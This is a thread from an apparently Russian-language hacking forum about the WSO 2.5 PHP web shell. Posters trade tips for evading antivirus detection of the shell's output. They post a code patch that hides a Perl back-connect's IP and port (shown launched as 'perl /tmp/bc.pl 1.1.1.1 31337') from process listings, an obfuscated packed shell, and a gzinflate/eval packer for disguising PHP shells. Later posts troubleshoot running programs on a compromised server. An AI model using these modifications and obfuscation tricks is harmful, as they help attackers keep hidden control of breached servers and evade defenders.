WSO 2.5 (web shell)

[Untitled]

AV начали ругаться уже на HTML-выдачу шелла. В моем случае реакция идет на:

PHP код:

<input type=hidden name=a value='FilesMAn'> 


Решается добавлением любых непробельных символов в конце этой строчки.

[Pashkela]

Если хотите, чтобы при бекконекте ваши данные (ip и port) не светились в процессах

perl /tmp/bc.pl 1.1.1.1 31337

(особенно забавно это наблюдать в "Вопросы по повышению привелегий"), то найдите строчку:

PHP код:

if($_POST['p1'] == 'bcp') { 


и после неё и до

PHP код:

sleep(1); 


замените код на:

PHP код:

 $t=@base64_decode($back_connect_p);
 $t=str_replace('$ARGV[0]','"'.$_POST['p2'].'"',$t);
 $t=str_replace('$ARGV[1]','"'.$_POST['p3'].'"',$t);
 cf("/tmp/bc.pl",@base64_encode($t));
 $out = wsoEx("perl /tmp/bc.pl  1>/dev/null 2>&1 &"); 


и тогда в процессах самое большое, что будет видно:

perl /tmp/bc.pl

функционал не изменится

[Ravenous]

Как упаковать WSO, как P.A.S таким образом? Есть такие обфускаторы в паблике?

PHP код:

<?php $l___l_='>іDаAmNДx‹О†ЛZ‰*    „‹рЃ¤НЈp!u{y Ь{Ѕо6]Нъ»9&
ќO%л_Љ|ЩVне%т»Y+·WЙжTУdе8.B6
э§DcxHХ«]љ˜e8›ўѕЋF`(ћЭиeчП*a?$ЮДa„ObvЖP¦юXЏ8r_Ы№jЙzыёЋиWьТLЂ7*
{єA‚7ХПLюеeь’ЩNЈ”Яx8oа‡wжЛ’вшhЈAjьЕВe~ؘУ7хЯA&+ёВqm‡м”i+™сqЈ&ЕЏЬYNа

[shampoo]

вот накидал простенький вариант в гзипе, обфусцируй распаковщик, чтобы не было строк и юзай:

<?php

echo php_pack(
		"<?php echo md5(123456); ?>"
	);


///
function php_pack($php_code)
{
    $php_code = strip_php_tags($php_code);
	
	$placeholder = "%PLACEHOLDER%";
	$unpacker = "<?php exit(eval(gzinflate(substr(file_get_contents(__FILE__),{$placeholder}))));?>";
	$unpacker_length = strlen($unpacker) - strlen($placeholder);
	$unpacker_length_real = $unpacker_length + strlen(strval($unpacker_length));

	$unpacker = str_replace($placeholder, $unpacker_length_real, $unpacker);
	return $unpacker . gzdeflate($php_code);
}


///
function strip_php_tags($php_code)
{
	$php_code = trim($php_code);

	if(substr($php_code, 0, 5) == '<?php') 
		$php_code = substr($php_code, 6);

	if(substr($php_code, -2, 2) == '?>') 
		$php_code = substr($php_code, 0, -2);

	return $php_code;
}

[colobos]

Сообщение от shampoo

вот накидал простенький вариант в гзипе, обфусцируй распаковщик, чтобы не было строк и юзай:

<?php

echo php_pack(
		"<?php echo md5(123456); ?>"
	);


///
function php_pack($php_code)
{
    $php_code = strip_php_tags($php_code);
	
	$placeholder = "%PLACEHOLDER%";
	$unpacker = "<?php exit(eval(gzinflate(substr(file_get_contents(__FILE__),{$placeholder}))));?>";
	$unpacker_length = strlen($unpacker) - strlen($placeholder);
	$unpacker_length_real = $unpacker_length + strlen(strval($unpacker_length));

	$unpacker = str_replace($placeholder, $unpacker_length_real, $unpacker);
	return $unpacker . gzdeflate($php_code);
}


///
function strip_php_tags($php_code)
{
	$php_code = trim($php_code);

	if(substr($php_code, 0, 5) == '<?php') 
		$php_code = substr($php_code, 6);

	if(substr($php_code, -2, 2) == '?>') 
		$php_code = substr($php_code, 0, -2);

	return $php_code;
}

Извините, но не совсем понятно, как этим пользоваться. На выходе мы получаем кодированный gzdeflate скрипт, но как его юзать, чтобы он работал? Я так понимаю Ravenous интересовался как обфусцировать какой-либо шелл, оставив его при этом работоспособным.

[KeyTeam]

немного не в тему:
при каких условиях запуститься программа из консоли?
./myprog key1 key2&

[Enigma]

Сообщение от KeyTeam

немного не в тему:
при каких условиях запуститься программа из консоли?
./myprog key1 key2&

Немного странный вопрос. Ну при условии что можно выполнять команды(работает system например), существует программа ./myprog и ты находишься в одной директории с ней и у тебя есть право её выполнять(x). Или ты что-то другое имеешь ввиду?

[KeyTeam]

тогда наоборт задам вопрос, из за чего программа может не запускаеться?
если есть права на выполнение, 777 ,консоль почти от r58

[Enigma]

Ну может раздел смонтирован с noexec, это первое что пришло мне в голову.

Вывод какой-нибудь есть? С stderr (2>&1)

[tex]

Возможно еще, что лимитированно количество порождаемых пользователем процессов (man limits.conf). Но в таком случае должен эррор писать "Resource temporarily unavailable". Полезно использовать дабы не загружали сервер говноскриптами всякими (: